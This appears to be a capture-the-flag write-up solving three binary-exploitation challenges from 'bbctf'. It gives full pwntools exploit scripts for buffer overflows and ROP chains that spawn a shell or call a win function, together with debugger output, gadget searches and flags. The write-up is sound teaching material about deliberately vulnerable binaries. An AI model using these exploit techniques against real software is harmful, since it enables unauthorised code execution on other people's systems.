from pwn import *
elf = ELF("./chall")
# p = remote("157.180.92.15", 39124)
p = elf.process()
context.binary = elf
# context.log_level = "debug"
p.sendlineafter(b"Enter something: ", b"AAAA")
data = 0x404058
pop_rdi = p64(0x401381)
pop_rsi = p64(0x401383)
pop_rdx = p64(0x401385)
read_plt = elf.plt["read"]
ret = p64(0x40101a)
win = elf.symbols["win"]
offset = 72
rop = ROP(elf)
rop.call('read', [0, data, 8]) # /bin/sh\x00 is 8 bytes
rop.raw(pop_rdi)
rop.raw(0x539)
rop.raw(pop_rsi)
rop.raw(data)
rop.raw(win)
payload = flat({
offset: rop.chain()
})
p.sendlineafter(b"Enter message: ",payload)
p.sendline(b"/bin/sh\x00")
p.interactive()
Flag: bbctf{pointerpointstoapoint}
smoll but angy (Pwn)
The seas be vast, but even the smallest squall can sink the mightiest ship. A pirateβs fury be swift, and only the cleverest scallywag can slip past his wrath. Ye best be minding where ye step, or heβll send ye straight to Davy Jonesβ locker!
Author: OS1R1S
This is a ret2win challenge that doesnβt actually use stack canaries :p
Itβs a 32-bit challenge, something to keep in mind when dealing with calling conventions.
1
2
3
4
5
6
7
8
(ctfvenv) benkyou@fedora:~/Dev/bbctf/smolangy$ checksec *
[*] '/home/benkyou/Dev/bbctf/smolangy/smoll-but-angy'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No
Protections are enabled except for PIE, so buffer overflow should be more difficult.
However, notice that if we try to send a long input to the program, it segfaults instead of the expected βstack smashing detectedβ error message.
1
2
3
4
root@d48544b50dc3:/ctf# python3 -c 'print("A"*200)' | ./smoll-but-angy
You dare challenge me?
Very well, show me what you got!
Segmentation fault
This suggests that the program doesnβt actually check the canary, even though it was compiled with -fstack-protector
. When we decompile the binary, we also donβt see the expected __stack_chk_fail
calls before the function returns. This allows us to do ret2win with a standard buffer overflow.
Our win function is treasure
which makes a system call to cat flag
.
Find the offset for the buffer overflow:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
...[SNIP]...
pwndbg> b *main+143
Breakpoint 1 at 0x8049a59
pwndbg> cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
pwndbg> r
...[SNIP]...
pwndbg> c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x6261616a in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
ββββββββββββββββββββββββββββββββββββββββββββββββ[ REGISTERS / show-flags off / show-compact-regs off ]ββββββββββββββββββββββββββββββββββββββββββββββββ
EAX 0
EBX 0x62616168 ('haab')
ECX 0
EDX 0x80e9774 (_IO_stdfile_1_lock) ββ 0
EDI 2
ESI 0x80e7ff4 (_GLOBAL_OFFSET_TABLE_) ββ 0
EBP 0x62616169 ('iaab')
*ESP 0xffffca10 ββ 'kaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab\n'
*EIP 0x6261616a ('jaab')
...[SNIP]...
pwndbg> cyclic -l jaab
Finding cyclic pattern of 4 bytes: b'jaab' (hex: 0x6a616162)
Found at offset 136
The exploit:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
elf = ELF("./smoll-but-angy")
# p = elf.process()
p = remote("157.180.92.15", 41432)
context.binary = elf
# context.log_level = "debug"
offset = 136
payload = flat({
offset: elf.symbols["treasure"]
})
p.sendline(payload)
p.interactive()
Flag: bbctf{1_L1k3_wh4t_yO0U_90t_93fe215}
smoll but spooky (Pwn)
The legend speaks of a ghostly vessel doomed to sail the seas forever, its captain bound by a fate worse than death. Those who dare cross its path must break free before they, too, become part of the crew. The echoes of the past hold the bash. Follow them right, and ye might just escape the cursed grip of the Flying Dutchman.
Author: OS1R1S
This is another ret2win challenge with function parameters.
Binary protections:
1
2
3
4
5
6
7
8
(ctfvenv) benkyou@fedora:~/Dev/bbctf/smolspooky$ checksec *
[*] '/home/benkyou/Dev/bbctf/smolspooky/smoll-but-spooky'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
No protections :D
The program is vulnerable to buffer overflow.
1
2
3
root@d514c19eb5eb:/ctf# python3 -c 'print("A"*100)' | ./smoll-but-spooky
Is it that spooky?Welcome to Blackberry CTF 2025, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
Segmentation fault
However, this challenge had some sort of anti-debugging(?) so I couldntβ step through the program.
I played around with different lengths, and eventually found the offset at 24.
If we look at the symbols in the binary, system
is somewhere in the program, and binsh is stored in .data
.
1
2
3
4
5
6
7
8
9
10
11
root@d514c19eb5eb:/ctf# nm ./smoll-but-spooky
...[SNIP]...
0000000000601048 D binsh
0000000000601050 b completed.7594
0000000000601038 W data_start
0000000000400510 t deregister_tm_clones
00000000004005b0 t frame_dummy
00000000004005d6 T main
U printf@@GLIBC_2.2.5
0000000000400550 t register_tm_clones
U system@@GLIBC_2.2.5
And binsh happens to store the string β/bin/shβ.
1
2
3
4
root@d514c19eb5eb:/ctf# objdump -S ./smoll-but-spooky -M intel -sj .data
...[SNIP]...
0000000000601048 <binsh>:
601048: 2f 62 69 6e 2f 73 68 00 /bin/sh.
So, our goal for this challenge is to use the buffer overflow to pass binsh to system
.
Weβll need a pop rdi
gadget to point rdi
at the address of binsh.
1
2
root@d514c19eb5eb:/ctf# ROPgadget --binary ./smoll-but-spooky | grep 'pop rdi'
0x0000000000400683 : pop rdi ; ret
The exploit:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
elf = ELF("./smoll-but-spooky")
# p = elf.process()
p = remote("157.180.92.15", 31316)
context.binary = elf
# context.log_level = "debug"
offset = 24
binsh = 0x601048
system = 0x400490
pop_rdi = 0x400683
ret = 0x400479
payload = flat({
offset: [
pop_rdi,
binsh,
ret,
system
]
})
p.sendline(payload)
p.interactive()
Flag: bbctf{w4sN7_SpooKy_A7_A11_3064a678}